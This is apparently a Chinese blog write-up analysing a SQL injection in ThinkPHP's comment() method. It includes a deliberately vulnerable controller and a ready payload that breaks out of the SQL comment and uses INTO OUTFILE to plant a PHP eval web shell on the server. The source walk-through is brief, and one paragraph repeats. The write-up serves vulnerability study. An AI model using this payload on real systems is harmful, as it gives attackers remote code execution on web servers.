comment
先看下comment的用法,用于在生成的SQL语句中添加注释内容,例如:
$this->comment('查询考试前十名分数')
->field('username,score')
->limit(10)
->order('score desc')
->select();
最终生成的SQL语句是:
SELECT username,score FROM think_score ORDER BY score desc LIMIT 10 /* 查询考试前十名分数 */
分析
走了一遍链发现跟之前的基本一样。
控制器
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller{
public function index($id=''){
highlight_file(__FILE__);
$user = M('Users')->comment($id)->find(intval($id));
var_dump($user);
}
}
payload
?id=1*/ into outfile "/var/www/html/3.php" LINES STARTING BY '<?php eval($_POST[0]);?>'/*
M方法已经很熟悉了不跟进了,直接看comment()
,没啥东西一个赋值
跟find()
,前边的判断赋值语句之前看了很多遍了,不看了吧,直接跟进_parseOptions()
上边代码主要是插入了这几条数据,之后return $options;
再跟进select()
943行对$model
赋值,944行对$bind
赋值
跟进buildSelectSql
$options中没有page参数,所以没进if,跟进parseSql
,注意$this->selectSql
是传入的payload
由于使用的是comment()
方法,所以直接跟进parseComment()
$comment是传入的payload,并将前后的/*
和*/
进行了闭合,最后就retrun了构造的sql语句,最后通过select()
方法中的query()
执行语句
将前后的/*
和*/
进行了闭合,最后就retrun了构造的sql语句,最后通过select()
方法中的query()
执行语句
链子跟的比较水,主要是东西主要还是前一篇的东西所以就没详细的分析